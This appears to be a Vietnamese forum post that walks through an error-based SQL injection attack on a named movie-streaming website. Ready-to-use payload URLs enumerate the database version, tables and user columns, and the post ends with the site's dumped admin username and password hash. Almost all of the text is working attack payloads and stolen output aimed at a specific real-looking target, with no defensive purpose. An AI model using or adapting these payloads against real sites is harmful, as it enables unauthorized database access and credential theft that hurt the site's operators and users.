Mã:

http://phimck.com/Phim-Online/'%20and%20(select%201%20from%20(select%20count(*),concat((select(select%20concat(version(),0x7c))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)--%20-.html

Get table: table_user 

Mã:

http://phimck.com/Phim-Online/'%20and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table_name+as+char),0x7c))+from+information_schema.tables+where+table_schema=database()+limit+12,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)-- -.html

Get column: user_name và user_password của table_user

Mã:

http://phimck.com/Phim-Online/'%20+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(column_name+as+char),0x7c))+from+information_schema.columns+where+table_name=0x7461626c655f75736572+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--%20-.html

Mã:

http://phimck.com/Phim-Online/'%20+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(column_name+as+char),0x7c))+from+information_schema.columns+where+table_name=0x7461626c655f75736572+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--%20-.html

Get data user_name và user_password

Mã:

http://phimck.com/Phim-Online/'%20+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(0x7c,user_name,0x7c,user_password,0x7c)+as+char),0x7e))+from+table_user+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+.html

và kết quả đây
admin|51d31cdcc6bc148eed78adf4cda28331